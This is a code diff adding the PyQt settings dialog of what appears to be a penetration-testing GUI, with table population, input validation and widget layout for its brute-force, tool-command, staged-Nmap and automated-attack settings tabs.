+ for row in range(len(self.settings.hostActions)): + # add a row to the table + self.toolForHostsTableWidget.setItem(row, 0, QtGui.QTableWidgetItem()) + # add the label for the port actions + self.toolForHostsTableWidget.item(row, 0).setText(self.settings.hostActions[row][1]) + + self.toolForServiceTableWidget.setRowCount(len(self.settings.portActions)) + for row in range(len(self.settings.portActions)): + self.toolForServiceTableWidget.setItem(row, 0, QtGui.QTableWidgetItem()) + self.toolForServiceTableWidget.item(row, 0).setText(self.settings.portActions[row][1]) + + self.servicesAllTableWidget.setRowCount(len(self.settings.portActions)) + for row in range(len(self.settings.portActions)): + self.servicesAllTableWidget.setItem(row, 0, QtGui.QTableWidgetItem()) + self.servicesAllTableWidget.item(row, 0).setText(self.settings.portActions[row][3]) + + self.toolForTerminalTableWidget.setRowCount(len(self.settings.portTerminalActions)) + for row in range(len(self.settings.portTerminalActions)): + # add a row to the table + self.toolForTerminalTableWidget.setItem(row, 0, QtGui.QTableWidgetItem()) + # add the label fro the port actions + self.toolForTerminalTableWidget.item(row, 0).setText(self.settings.portTerminalActions[row][1]) + self.terminalServicesAllTable.setRowCount(len(self.settings.portTerminalActions)) + for row in range(len(self.settings.portTerminalActions)): + self.terminalServicesAllTable.setItem(row, 0, QtGui.QTableWidgetItem()) + self.terminalServicesAllTable.item(row, 0).setText(self.settings.portTerminalActions[row][3]) + + def populateAutomatedAttacksTab(self): # TODO: this one is still to big and ugly. needs work. + self.typeDic = {} + for i in range(len(self.settings.portActions)): + # the dictionary contains the name, the text input and the layout for each tool + self.typeDic.update({self.settings.portActions[i][1]:[QtGui.QLabel(),QtGui.QLineEdit(),QtGui.QCheckBox(),QtGui.QHBoxLayout()]}) + + for keyNum in range(len(self.settings.portActions)): + + # populate the automated attacks tools tab with every tool that is not a default creds check + if self.settings.portActions[keyNum][1] not in self.defaultServicesList: + + self.typeDic[self.settings.portActions[keyNum][1]][0].setText(self.settings.portActions[keyNum][1]) + self.typeDic[self.settings.portActions[keyNum][1]][0].setFixedWidth(150) + + #if self.settings.portActions[keyNum][1] in self.settings.automatedAttacks.keys(): + foundToolInAA = False + for t in self.settings.automatedAttacks: + if self.settings.portActions[keyNum][1] == t[0]: + #self.typeDic[self.settings.portActions[keyNum][1]][1].setText(self.settings.automatedAttacks[self.settings.portActions[keyNum][1]]) + self.typeDic[self.settings.portActions[keyNum][1]][1].setText(t[1]) + self.typeDic[self.settings.portActions[keyNum][1]][2].toggle() + foundToolInAA = True + break + + if not foundToolInAA: + self.typeDic[self.settings.portActions[keyNum][1]][1].setText(self.settings.portActions[keyNum][3]) + + self.typeDic[self.settings.portActions[keyNum][1]][1].setFixedWidth(300) + self.typeDic[self.settings.portActions[keyNum][1]][2].setObjectName(str(self.typeDic[self.settings.portActions[keyNum][1]][2])) + self.typeDic[self.settings.portActions[keyNum][1]][3].addWidget(self.typeDic[self.settings.portActions[keyNum][1]][0]) + self.typeDic[self.settings.portActions[keyNum][1]][3].addWidget(self.typeDic[self.settings.portActions[keyNum][1]][1]) + self.typeDic[self.settings.portActions[keyNum][1]][3].addItem(self.enabledSpacer) + self.typeDic[self.settings.portActions[keyNum][1]][3].addWidget(self.typeDic[self.settings.portActions[keyNum][1]][2]) + self.scrollVerLayout.addLayout(self.typeDic[self.settings.portActions[keyNum][1]][3]) + + else: # populate the automated attacks tools tab with every tool that IS a default creds check + # TODO: i get the feeling we shouldn't be doing this in the else. the else could just skip the default ones and outside of the loop we can go through self.defaultServicesList and take care of these separately. + if self.settings.portActions[keyNum][1] == "mysql-default": + self.typeDic[self.settings.portActions[keyNum][1]][0].setText('mysql') + elif self.settings.portActions[keyNum][1] == "mssql-default": + self.typeDic[self.settings.portActions[keyNum][1]][0].setText('mssql') + elif self.settings.portActions[keyNum][1] == "ftp-default": + self.typeDic[self.settings.portActions[keyNum][1]][0].setText('ftp') + elif self.settings.portActions[keyNum][1] == "postgres-default": + self.typeDic[self.settings.portActions[keyNum][1]][0].setText('postgres') + elif self.settings.portActions[keyNum][1] == "oracle-default": + self.typeDic[self.settings.portActions[keyNum][1]][0].setText('oracle') + + self.typeDic[self.settings.portActions[keyNum][1]][0].setFixedWidth(150) + self.typeDic[self.settings.portActions[keyNum][1]][2].setObjectName(str(self.typeDic[self.settings.portActions[keyNum][1]][2])) + self.typeDic[self.settings.portActions[keyNum][1]][3].addWidget(self.typeDic[self.settings.portActions[keyNum][1]][0]) + self.typeDic[self.settings.portActions[keyNum][1]][3].addItem(self.enabledSpacer) + self.typeDic[self.settings.portActions[keyNum][1]][3].addWidget(self.typeDic[self.settings.portActions[keyNum][1]][2]) + + self.defaultBoxVerlayout.addLayout(self.typeDic[self.settings.portActions[keyNum][1]][3]) + + self.scrollArea.setWidget(self.scrollWidget) + self.globVerAutoToolsLayout.addWidget(self.scrollArea) + + ##################### SWITCH TAB FUNCTIONS ##################### + + def switchTabClick(self): # LEO: this function had duplicate code with validateCurrentTab(). so now we call that one. + if self.settingsTabWidget.tabText(self.settingsTabWidget.currentIndex()) == 'Tools': + self.previousToolTab = self.ToolSettingsTab.tabText(self.ToolSettingsTab.currentIndex()) + + print('previous tab is: ' + str(self.previousTab)) + if self.validateCurrentTab(self.previousTab): # LEO: we don't care about the return value in this case. it's just for debug. + print('validation succeeded! switching tab! yay!') + # save the previous tab for the next time we switch tabs. TODO: not sure this should be inside the IF but makes sense to me. no point in saving the previous if there is no change.. + self.previousTab = self.settingsTabWidget.tabText(self.settingsTabWidget.currentIndex()) + else: + print('nope! cannot let you switch tab! you fucked up!') + + def switchToolTabClick(self): # TODO: check for duplicate code. + if self.ToolSettingsTab.tabText(self.ToolSettingsTab.currentIndex()) == 'Host Commands': + self.toolForHostsTableWidget.selectRow(0) + self.updateToolForHostInformation(False) + + elif self.ToolSettingsTab.tabText(self.ToolSettingsTab.currentIndex()) == 'Port Commands': + self.toolForServiceTableWidget.selectRow(0) + self.updateToolForServiceInformation(False) + + elif self.ToolSettingsTab.tabText(self.ToolSettingsTab.currentIndex()) == 'Terminal Commands': + self.toolForTerminalTableWidget.selectRow(0) + self.updateToolForTerminalInformation(False) + + # LEO: I get the feeling the validation part could go into a validateCurrentToolTab() just like in the other switch tab function. + if self.previousToolTab == 'Tool Paths': + if not self.toolPathsValidate(): + self.ToolSettingsTab.setCurrentIndex(0) + + elif self.previousToolTab == 'Host Commands': + if not self.validateCommandTabs(self.hostActionNameText, self.hostLabelText, self.hostCommandText): + self.ToolSettingsTab.setCurrentIndex(1) + else: + self.updateHostActions() + + elif self.previousToolTab == 'Port Commands': + if not self.validateCommandTabs(self.portActionNameText, self.portLabelText, self.portCommandText): + self.ToolSettingsTab.setCurrentIndex(2) + else: + self.updatePortActions() + + elif self.previousToolTab == 'Terminal Commands': + if not self.validateCommandTabs(self.terminalActionNameText, self.terminalLabelText, self.terminalCommandText): + self.ToolSettingsTab.setCurrentIndex(3) + else: + self.updateTerminalActions() + + elif self.previousToolTab == 'Staged Nmap': + if not self.validateStagedNmapTab(): + self.ToolSettingsTab.setCurrentIndex(4) +# else: +# self.updateTerminalActions() # LEO: commented out because it didn't look right, please check! + + self.previousToolTab = self.ToolSettingsTab.tabText(self.ToolSettingsTab.currentIndex()) + + ##################### AUXILIARY FUNCTIONS ##################### + + #def confInitState(self): # LEO: renamed. i get the feeling this function is not necessary if we put this code somewhere else - eg: right before we apply/cancel. we'll see. + def resetTabIndexes(self): # called when the settings dialog is opened so that we always show the same tabs. + self.settingsTabWidget.setCurrentIndex(0) + self.ToolSettingsTab.setCurrentIndex(0) + + def toggleRedBorder(self, widget, red=True): # called by validation functions to display (or not) a red border around a text input widget when input is (in)valid. easier to change stylesheets in one place only. + if red: + widget.setStyleSheet("border: 1px solid red;") + else: + widget.setStyleSheet("border: 1px solid grey;") + + # LEO: I moved the really generic validation functions to the end of auxiliary.py and those are used by these slightly-less-generic ones. + # .. the difference is that these ones also take care of the IF/ELSE which was being duplicated all over the code. everything should be simpler now. + # note that I didn't use these everywhere because sometimes the IF/ELSE are not so straight-forward. + + def validateNumeric(self, widget): + if not validateNumeric(str(widget.text())): + self.toggleRedBorder(widget, True) + return False + else: + self.toggleRedBorder(widget, False) + return True + + def validateString(self, widget): + if not validateString(str(widget.text())): # TODO: this is too strict in some cases... + self.toggleRedBorder(widget, True) + return False + else: + self.toggleRedBorder(widget, False) + return True + + def validateStringWithSpace(self, widget): + if not validateStringWithSpace(str(widget.text())): + self.toggleRedBorder(widget, True) + return False + else: + self.toggleRedBorder(widget, False) + return True + + def validatePath(self, widget): + if not validatePath(str(widget.text())): + self.toggleRedBorder(widget, True) + return False + else: + self.toggleRedBorder(widget, False) + return True + + def validateFile(self, widget): + if not validateFile(str(widget.text())): + self.toggleRedBorder(widget, True) + return False + else: + self.toggleRedBorder(widget, False) + return True + + def validateCommandFormat(self, widget): + if not validateCommandFormat(str(widget.text())): + self.toggleRedBorder(widget, True) + return False + else: + self.toggleRedBorder(widget, False) + return True + + def validateNmapPorts(self, widget): + if not validateNmapPorts(str(widget.text())): + self.toggleRedBorder(widget, True) + return False + else: + self.toggleRedBorder(widget, False) + return True + + ##################### VALIDATION FUNCTIONS (per tab) ##################### + # LEO: the functions are more or less in the same order as the tabs in the GUI (top-down and left-to-right) except for generic functions + + def validateCurrentTab(self, tab): # LEO: your updateSettings() was split in 2. validateCurrentTab() and updateSettings() since they have different functionality. also, we now have a 'tab' parameter so that we can reuse the code in switchTabClick and avoid duplicate code. the tab parameter will either be the current or the previous tab depending where we call this from. + validationPassed = True + if tab == 'General': + if not self.validateGeneralTab(): + self.settingsTabWidget.setCurrentIndex(0) + validationPassed = False + + elif tab == 'Brute': + if not self.validateBruteTab(): + self.settingsTabWidget.setCurrentIndex(1) + validationPassed = False + + elif tab == 'Tools': + self.ToolSettingsTab.setCurrentIndex(0) + currentToolsTab = self.ToolSettingsTab.tabText(self.ToolSettingsTab.currentIndex()) + if currentToolsTab == 'Tool Paths': + if not self.toolPathsValidate(): + self.settingsTabWidget.setCurrentIndex(2) + self.ToolSettingsTab.setCurrentIndex(0) + validationPassed = False + + elif currentToolsTab == 'Host Commands': + if not self.validateCommandTabs(self.hostActionNameText, self.hostLabelText, self.hostCommandText): + self.settingsTabWidget.setCurrentIndex(2) + self.ToolSettingsTab.setCurrentIndex(1) + validationPassed = False + else: + self.updateHostActions() + + elif currentToolsTab == 'Port Commands': + if not self.validateCommandTabs(self.portActionNameText, self.portLabelText, self.portCommandText): + self.settingsTabWidget.setCurrentIndex(2) + self.ToolSettingsTab.setCurrentIndex(2) + validationPassed = False + else: + self.updatePortActions() + + elif currentToolsTab == 'Terminal Commands': + if not self.validateCommandTabs(self.terminalActionNameText, self.terminalLabelText, self.terminalCommandText): + self.settingsTabWidget.setCurrentIndex(2) + self.ToolSettingsTab.setCurrentIndex(3) + validationPassed = False + else: + self.updateTerminalActions() + + elif currentToolsTab == 'Staged Nmap': + if not self.validateStagedNmapTab(): + self.settingsTabWidget.setCurrentIndex(2) + self.ToolSettingsTab.setCurrentIndex(4) + validationPassed = False + + else: + print('>>>> we should never be here. potential bug. 1') # LEO: added this just to help when testing. we'll remove it later. + + elif tab == 'Wordlists': + print('Coming back from wordlists.') + + elif tab == 'Automated Attacks': + print('Coming back from automated attacks.') + + else: + print('>>>> we should never be here. potential bug. 2') # LEO: added this just to help when testing. we'll remove it later. + + print('DEBUG: current tab is valid: ' + str(validationPassed)) + return validationPassed + + #def generalTabValidate(self): + def validateGeneralTab(self): + validationPassed = self.validateNumeric(self.screenshotTextinput) + + self.toggleRedBorder(self.webServicesTextinput, False) + for service in str(self.webServicesTextinput.text()).split(','):# TODO: this is too strict! no spaces or comma allowed? we can clean up for the user in some simple cases. actually, i'm not sure we even need to split. + if not validateString(service): + self.toggleRedBorder(self.webServicesTextinput, True) + validationPassed = False + break + + return validationPassed + + #def bruteTabValidate(self): + def validateBruteTab(self): # LEO: do NOT change the order of the AND statements otherwise validation may not take place if first condition is False + validationPassed = self.validatePath(self.userlistPath) + validationPassed = self.validatePath(self.passwordlistPath) and validationPassed + validationPassed = self.validateString(self.defaultUserText) and validationPassed + validationPassed = self.validateString(self.defaultPassText) and validationPassed + return validationPassed + + def toolPathsValidate(self): + validationPassed = self.validateFile(self.nmapPathInput) + validationPassed = self.validateFile(self.hydraPathInput) and validationPassed + validationPassed = self.validateFile(self.cutycaptPathInput) and validationPassed + validationPassed = self.validateFile(self.textEditorPathInput) and validationPassed + return validationPassed + +# def commandTabsValidate(self): # LEO: renamed and refactored + def validateCommandTabs(self, nameInput, labelInput, commandInput): # only validates the tool name, label and command fields for host/port/terminal tabs + validationPassed = True + + if self.validationPassed == False: # the self.validationPassed comes from the focus out event + self.toggleRedBorder(nameInput, True) # TODO: this seems like a dodgy way to do it - functions should not depend on hope :) . maybe it's better to simply validate again. code will be clearer too. + validationPassed = False + else: + self.toggleRedBorder(nameInput, False) + + validationPassed = self.validateStringWithSpace(labelInput) and validationPassed + validationPassed = self.validateCommandFormat(commandInput) and validationPassed + return validationPassed + + # avoid using the same code for the selected tab. returns the fields for the current visible tab (host/ports/terminal) + # TODO: don't like this too much. seems like we could just use parameters in the validate tool name function + def selectGroup(self): + tabSelected = -1 + + if self.ToolSettingsTab.tabText(self.ToolSettingsTab.currentIndex()) == 'Host Commands': + tabSelected = 1 + elif self.ToolSettingsTab.tabText(self.ToolSettingsTab.currentIndex()) == 'Port Commands': + tabSelected = 2 + elif self.ToolSettingsTab.tabText(self.ToolSettingsTab.currentIndex()) == 'Terminal Commands': + tabSelected = 3 + + if self.previousToolTab == 'Host Commands' or tabSelected == 1: + tmpWidget = self.toolForHostsTableWidget + tmpActionLineEdit = self.hostActionNameText + tmpLabelLineEdit = self.hostLabelText + tmpCommandLineEdit = self.hostCommandText + actions = self.settings.hostActions + tableRow = self.hostTableRow + if self.previousToolTab == 'Port Commands' or tabSelected == 2: + tmpWidget = self.toolForServiceTableWidget + tmpActionLineEdit = self.portActionNameText + tmpLabelLineEdit = self.portLabelText + tmpCommandLineEdit = self.portCommandText + actions = self.settings.portActions + tableRow = self.portTableRow + if self.previousToolTab == 'Terminal Commands' or tabSelected == 3: + tmpWidget = self.toolForTerminalTableWidget + tmpActionLineEdit = self.terminalActionNameText + tmpLabelLineEdit = self.terminalLabelText + tmpCommandLineEdit = self.terminalCommandText + actions = self.settings.portTerminalActions + tableRow = self.terminalTableRow + + return tmpWidget, tmpActionLineEdit, tmpLabelLineEdit, tmpCommandLineEdit, actions, tableRow + +# def validateInput(self): # LEO: renamed + def validateToolName(self): # called when there is a focus out event. only validates the tool name (key) for host/port/terminal tabs + selectGroup = self.selectGroup() + tmpWidget = selectGroup[0] + tmplineEdit = selectGroup[1] + actions = selectGroup[4] + row = selectGroup[5] + + if tmplineEdit: + row = tmpWidget.currentRow() + + if row != -1: # LEO: when the first condition is True the validateUniqueToolName is never called (bad if we want to show a nice error message for the unique key) + if not validateString(str(tmplineEdit.text())) or not self.validateUniqueToolName(tmpWidget, row, str(tmplineEdit.text())): + tmplineEdit.setStyleSheet("border: 1px solid red;") + tmpWidget.setSelectionMode(QtGui.QAbstractItemView.NoSelection) + self.validationPassed = False + print('the validation is: ' + str(self.validationPassed)) + return self.validationPassed + else: + tmplineEdit.setStyleSheet("border: 1px solid grey;") + tmpWidget.setSelectionMode(QtGui.QAbstractItemView.SingleSelection) + self.validationPassed = True + print('the validation is: ' + str(self.validationPassed)) + if tmpWidget.item(row,0).text() != str(actions[row][1]): + print('difference found') + actions[row][1] = tmpWidget.item(row,0).text() + return self.validationPassed + + #def validateUniqueKey(self, widget, tablerow, text): # LEO: renamed. +the function that calls this one already knows the selectGroup stuff so no need to duplicate. + def validateUniqueToolName(self, widget, tablerow, text): # LEO: the function that calls this one already knows the selectGroup stuff so no need to duplicate. + if tablerow != -1: + for row in [i for i in range(widget.rowCount()) if i not in [tablerow]]: + if widget.item(row,0).text() == text: + return False + return True + + #def nmapValidate(self): + def validateStagedNmapTab(self): # LEO: renamed and fixed bugs. TODO: this function is being called way too often. something seems wrong in the overall logic + validationPassed = self.validateNmapPorts(self.stage1Input) + validationPassed = self.validateNmapPorts(self.stage2Input) and validationPassed + validationPassed = self.validateNmapPorts(self.stage3Input) and validationPassed + validationPassed = self.validateNmapPorts(self.stage4Input) and validationPassed + validationPassed = self.validateNmapPorts(self.stage5Input) and validationPassed + return validationPassed + + ##################### TOOLS / HOST COMMANDS FUNCTIONS ##################### + + def addToolForHost(self): + #if self.commandTabsValidate(): + if self.validateCommandTabs(self.hostActionNameText, self.hostLabelText, self.hostCommandText): + currentRows = self.toolForHostsTableWidget.rowCount() + self.toolForHostsTableWidget.setRowCount(currentRows + 1) + + self.toolForHostsTableWidget.setItem(currentRows, 0, QtGui.QTableWidgetItem()) + self.toolForHostsTableWidget.item(self.toolForHostsTableWidget.rowCount()-1, 0).setText('New_Action_'+str(self.hostActionsNumber)) + self.toolForHostsTableWidget.selectRow(currentRows) + self.settings.hostActions.append(['', 'New_Action_'+str(self.hostActionsNumber), '']) + self.hostActionsNumber +=1 + self.updateToolForHostInformation() + + def removeToolForHost(self): + row = self.toolForHostsTableWidget.currentRow() + + # set default values to avoid the error when the first action is add and remove tools + self.hostActionNameText.setText('removed') + self.hostLabelText.setText('removed') + self.hostCommandText.setText('removed') + + for tool in self.settings.hostActions: + if tool[1] == str(self.hostActionNameText.text()): + self.settings.hostActions.remove(tool) + break + + self.toolForHostsTableWidget.removeRow(row) + + self.toolForHostsTableWidget.selectRow(row-1) + + self.hostTableRow = self.toolForHostsTableWidget.currentRow() + + self.updateToolForHostInformation(False) + + def updateHostActions(self): + self.settings.hostActions[self.hostTableRow][0] = str(self.hostLabelText.text()) + self.settings.hostActions[self.hostTableRow][2] = str(self.hostCommandText.text()) + + # update variable -> do not update the values when a line is removed + def updateToolForHostInformation(self, update = True): + #if self.commandTabsValidate() == True: + if self.validateCommandTabs(self.hostActionNameText, self.hostLabelText, self.hostCommandText): + + # do not update any values the first time or when the remove button is clicked + if self.hostTableRow == -1 or update == False: + pass + else: + self.updateHostActions() + +# self.hostLabelText.setStyleSheet("border: 1px solid grey;") +# self.hostCommandText.setStyleSheet("border: 1px solid grey;") + self.hostTableRow = self.toolForHostsTableWidget.currentRow() + self.hostLabelText.setReadOnly(False) + if self.toolForHostsTableWidget.item(self.hostTableRow, 0) is not None: + key = self.toolForHostsTableWidget.item(self.hostTableRow, 0).text() + for tool in self.settings.hostActions: + if tool[1] == key: + self.hostActionNameText.setText(tool[1]) + self.hostLabelText.setText(tool[0]) + self.hostCommandText.setText(tool[2]) + else: + self.toolForHostsTableWidget.selectRow(self.hostTableRow) + + # this function is used to REAL TIME update the tool table when a user enters a edit a tool name in the HOST/PORT/TERMINAL commands tabs + # LEO: this one replaces updateToolForHostTable + updateToolForServicesTable + updateToolForTerminalTable + def realTimeToolNameUpdate(self, tablewidget, text): # the name still sucks, sorry. at least it's refactored + row = tablewidget.currentRow() + if row != -1: + tablewidget.item(row, 0).setText(str(text)) + + ##################### TOOLS / PORT COMMANDS FUNCTIONS ##################### + + def addToolForService(self): + #if self.commandTabsValidate(): + if self.validateCommandTabs(self.portActionNameText, self.portLabelText, self.portCommandText): + currentRows = self.toolForServiceTableWidget.rowCount() + self.toolForServiceTableWidget.setRowCount(currentRows + 1) + self.toolForServiceTableWidget.setItem(currentRows, 0, QtGui.QTableWidgetItem()) + self.toolForServiceTableWidget.item(self.toolForServiceTableWidget.rowCount()-1, 0).setText('New_Action_'+str(self.portActionsNumber)) + self.toolForServiceTableWidget.selectRow(currentRows) + self.settings.portActions.append(['', 'New_Action_'+str(self.portActionsNumber), '']) + self.portActionsNumber +=1 + self.updateToolForServiceInformation() + + def removeToolForService(self): + row = self.toolForServiceTableWidget.currentRow() + self.portActionNameText.setText('removed') + self.portLabelText.setText('removed') + self.portCommandText.setText('removed') + for tool in self.settings.portActions: + if tool[1] == str(self.portActionNameText.text()): + self.settings.portActions.remove(tool) + break + self.toolForServiceTableWidget.removeRow(row) + self.toolForServiceTableWidget.selectRow(row-1) + self.portTableRow = self.toolForServiceTableWidget.currentRow() + self.updateToolForServiceInformation(False) + + def updatePortActions(self): + self.settings.portActions[self.portTableRow][0] = str(self.portLabelText.text()) + self.settings.portActions[self.portTableRow][2] = str(self.portCommandText.text()) + + def updateToolForServiceInformation(self, update = True): + #if self.commandTabsValidate() == True: + if self.validateCommandTabs(self.portActionNameText, self.portLabelText, self.portCommandText): + # the first time do not update anything + if self.portTableRow == -1 or update == False: + print('no update') + pass + else: + print('update done') + self.updatePortActions() +# self.portLabelText.setStyleSheet("border: 1px solid grey;") +# self.portCommandText.setStyleSheet("border: 1px solid grey;") + self.portTableRow = self.toolForServiceTableWidget.currentRow() + self.portLabelText.setReadOnly(False) + + if self.toolForServiceTableWidget.item(self.portTableRow, 0) is not None: + key = self.toolForServiceTableWidget.item(self.portTableRow, 0).text() + for tool in self.settings.portActions: + if tool[1] == key: + self.portActionNameText.setText(tool[1]) + self.portLabelText.setText(tool[0]) + self.portCommandText.setText(tool[2]) + # for the case that the tool (ex. new added tool) does not have services assigned + if len(tool) == 4: + servicesList = tool[3].split(',') + self.terminalServicesActiveTable.setRowCount(len(servicesList)) + for i in range(len(servicesList)): + self.terminalServicesActiveTable.setItem(i, 0, QtGui.QTableWidgetItem()) + self.terminalServicesActiveTable.item(i, 0).setText(str(servicesList[i])) + else: + self.toolForServiceTableWidget.selectRow(self.portTableRow) + + ##################### TOOLS / TERMINAL COMMANDS FUNCTIONS ##################### + + def addToolForTerminal(self): + #if self.commandTabsValidate(): + if self.validateCommandTabs(self.terminalActionNameText, self.terminalLabelText, self.terminalCommandText): + currentRows = self.toolForTerminalTableWidget.rowCount() + self.toolForTerminalTableWidget.setRowCount(currentRows + 1) + self.toolForTerminalTableWidget.setItem(currentRows, 0, QtGui.QTableWidgetItem()) + self.toolForTerminalTableWidget.item(self.toolForTerminalTableWidget.rowCount()-1, 0).setText('New_Action_'+str(self.terminalActionsNumber)) + self.toolForTerminalTableWidget.selectRow(currentRows) + self.settings.portTerminalActions.append(['', 'New_Action_'+str(self.terminalActionsNumber), '']) + self.terminalActionsNumber +=1 + self.updateToolForTerminalInformation() + + def removeToolForTerminal(self): + row = self.toolForTerminalTableWidget.currentRow() + self.terminalActionNameText.setText('removed') + self.terminalLabelText.setText('removed') + self.terminalCommandText.setText('removed') + for tool in self.settings.portTerminalActions: + if tool[1] == str(self.terminalActionNameText.text()): + self.settings.portTerminalActions.remove(tool) + break + self.toolForTerminalTableWidget.removeRow(row) + self.toolForTerminalTableWidget.selectRow(row-1) + self.portTableRow = self.toolForTerminalTableWidget.currentRow() + self.updateToolForTerminalInformation(False) + + def updateTerminalActions(self): + self.settings.portTerminalActions[self.terminalTableRow][0] = str(self.terminalLabelText.text()) + self.settings.portTerminalActions[self.terminalTableRow][2] = str(self.terminalCommandText.text()) + + def updateToolForTerminalInformation(self, update = True): + #if self.commandTabsValidate() == True: + if self.validateCommandTabs(self.terminalActionNameText, self.terminalLabelText, self.terminalCommandText): + # do not update anything the first time or when you remove a line + if self.terminalTableRow == -1 or update == False: + pass + else: + self.updateTerminalActions() + +# self.terminalLabelText.setStyleSheet("border: 1px solid grey;") +# self.terminalCommandText.setStyleSheet("border: 1px solid grey;") + self.terminalTableRow = self.toolForTerminalTableWidget.currentRow() + self.terminalLabelText.setReadOnly(False) + + if self.toolForTerminalTableWidget.item(self.terminalTableRow, 0) is not None: + key = self.toolForTerminalTableWidget.item(self.terminalTableRow, 0).text() + for tool in self.settings.portTerminalActions: + if tool[1] == key: + self.terminalActionNameText.setText(tool[1]) + self.terminalLabelText.setText(tool[0]) + self.terminalCommandText.setText(tool[2]) + # for the case that the tool (ex. new added tool) does not have any service assigned + if len(tool) == 4: + servicesList = tool[3].split(',') + self.terminalServicesActiveTable.setRowCount(len(servicesList)) + for i in range(len(servicesList)): + self.terminalServicesActiveTable.setItem(i, 0, QtGui.QTableWidgetItem()) + self.terminalServicesActiveTable.item(i, 0).setText(str(servicesList[i])) + else: + self.toolForTerminalTableWidget.selectRow(self.terminalTableRow) + + ##################### TOOLS / AUTOMATED ATTACKS FUNCTIONS ##################### + + def enableAutoToolsTab(self): # when 'Run automated attacks' is checked this function is called + if self.enableAutoAttacks.isChecked(): + self.AutoAttacksSettingsTab.setTabEnabled(1,True) + else: + self.AutoAttacksSettingsTab.setTabEnabled(1,False) + + #def selectDefaultServices(self): # toggles select/deselect all default creds checkboxes + def toggleDefaultServices(self): # toggles select/deselect all default creds checkboxes + for service in self.defaultServicesList: + if not self.typeDic[service][2].isChecked() == self.checkDefaultCred.isChecked(): + self.typeDic[service][2].toggle() + + #def addRemoveServices(self, add=True): + def moveService(self, src, dst): # in the multiple choice widget (port/terminal commands tabs) it transfers services bidirectionally + if src.selectionModel().selectedRows(): + row = src.currentRow() + dst.setRowCount(dst.rowCount() + 1) + dst.setItem(dst.rowCount() - 1, 0, QtGui.QTableWidgetItem()) + dst.item(dst.rowCount() - 1, 0).setText(str(src.item(row, 0).text())) + src.removeRow(row) + + ##################### SETUP FUNCTIONS ##################### + def setupLayout(self): + self.setModal(True) + self.setWindowTitle('Settings') + self.setFixedSize(900, 500) + + self.flayout = QtGui.QVBoxLayout() + self.settingsTabWidget = QtGui.QTabWidget() + self.settingsTabWidget.setTabBar(SettingsTabBarWidget(width=200,height=25)) + self.settingsTabWidget.setTabPosition(QtGui.QTabWidget.West) # put the tab titles on the left + + # left tab menu items + self.GeneralSettingsTab = QtGui.QWidget() + self.BruteSettingsTab = QtGui.QWidget() + self.ToolSettingsTab = QtGui.QTabWidget() + self.WordlistsSettingsTab = QtGui.QTabWidget() + self.AutoAttacksSettingsTab = QtGui.QTabWidget() + + self.setupGeneralTab() + self.setupBruteTab() + self.setupToolsTab() + self.setupAutomatedAttacksTab() + + self.settingsTabWidget.addTab(self.GeneralSettingsTab,"General") + self.settingsTabWidget.addTab(self.BruteSettingsTab,"Brute") + self.settingsTabWidget.addTab(self.ToolSettingsTab,"Tools") + self.settingsTabWidget.addTab(self.WordlistsSettingsTab,"Wordlists") + self.settingsTabWidget.addTab(self.AutoAttacksSettingsTab,"Automated Attacks") + + self.settingsTabWidget.setCurrentIndex(0) + + self.flayout.addWidget(self.settingsTabWidget) + + self.horLayout1 = QtGui.QHBoxLayout() + self.cancelButton = QPushButton('Cancel') + self.cancelButton.setMaximumSize(60, 30) + self.applyButton = QPushButton('Apply') + self.applyButton.setMaximumSize(60, 30) + self.spacer2 = QSpacerItem(750,0) + self.horLayout1.addItem(self.spacer2) + self.horLayout1.addWidget(self.applyButton) + self.horLayout1.addWidget(self.cancelButton) + + self.flayout.addLayout(self.horLayout1) + self.setLayout(self.flayout) + + def setupGeneralTab(self): + self.terminalLabel = QtGui.QLabel() + self.terminalLabel.setText('Terminal') + self.terminalLabel.setFixedWidth(150) + self.terminalComboBox = QtGui.QComboBox() + self.terminalComboBox.setFixedWidth(150) + self.terminalComboBox.setMinimumContentsLength(3) + self.terminalComboBox.setStyleSheet("QComboBox { combobox-popup: 0; }"); + self.terminalComboBox.setCurrentIndex(0) + self.hlayout1 = QtGui.QHBoxLayout() + self.hlayout1.addWidget(self.terminalLabel) + self.hlayout1.addWidget(self.terminalComboBox) + self.hlayout1.addStretch() + + self.label3 = QtGui.QLabel() + self.label3.setText('Maximum processes') + self.label3.setFixedWidth(150) + self.fastProcessesNumber = [] + for i in range(1, 50): + self.fastProcessesNumber.append(str(i)) + self.fastProcessesComboBox = QtGui.QComboBox() + self.fastProcessesComboBox.insertItems(0, self.fastProcessesNumber) + self.fastProcessesComboBox.setMinimumContentsLength(3) + self.fastProcessesComboBox.setStyleSheet("QComboBox { combobox-popup: 0; }"); + self.fastProcessesComboBox.setCurrentIndex(19) + self.fastProcessesComboBox.setFixedWidth(150) + self.fastProcessesComboBox.setMaxVisibleItems(3) + self.hlayoutGeneral_4 = QtGui.QHBoxLayout() + self.hlayoutGeneral_4.addWidget(self.label3) + self.hlayoutGeneral_4.addWidget(self.fastProcessesComboBox) + self.hlayoutGeneral_4.addStretch() + + self.label1 = QtGui.QLabel() + self.label1.setText('Screenshot timeout') + self.label1.setFixedWidth(150) + self.screenshotTextinput = QtGui.QLineEdit() + self.screenshotTextinput.setFixedWidth(150) + self.hlayoutGeneral_2 = QtGui.QHBoxLayout() + self.hlayoutGeneral_2.addWidget(self.label1) + self.hlayoutGeneral_2.addWidget(self.screenshotTextinput) + self.hlayoutGeneral_2.addStretch() + + self.label2 = QtGui.QLabel() + self.label2.setText('Web services') + self.label2.setFixedWidth(150) + self.webServicesTextinput = QtGui.QLineEdit() + self.webServicesTextinput.setFixedWidth(350) + self.hlayoutGeneral_3 = QtGui.QHBoxLayout() + self.hlayoutGeneral_3.addWidget(self.label2) + self.hlayoutGeneral_3.addWidget(self.webServicesTextinput) + self.hlayoutGeneral_3.addStretch() + + self.checkStoreClearPW = QtGui.QCheckBox() + self.checkStoreClearPW.setText('Store cleartext passwords on exit') + self.hlayoutGeneral_6 = QtGui.QHBoxLayout() + self.hlayoutGeneral_6.addWidget(self.checkStoreClearPW) + + self.checkBlackBG = QtGui.QCheckBox() + self.checkBlackBG.setText('Use black backgrounds for tool output') + self.hlayout2 = QtGui.QHBoxLayout() + self.hlayout2.addWidget(self.checkBlackBG) + + self.vlayoutGeneral = QtGui.QVBoxLayout(self.GeneralSettingsTab) + self.vlayoutGeneral.addLayout(self.hlayout1) + self.vlayoutGeneral.addLayout(self.hlayoutGeneral_4) + self.vlayoutGeneral.addLayout(self.hlayoutGeneral_2) + self.vlayoutGeneral.addLayout(self.hlayoutGeneral_3) + self.vlayoutGeneral.addLayout(self.hlayoutGeneral_6) + 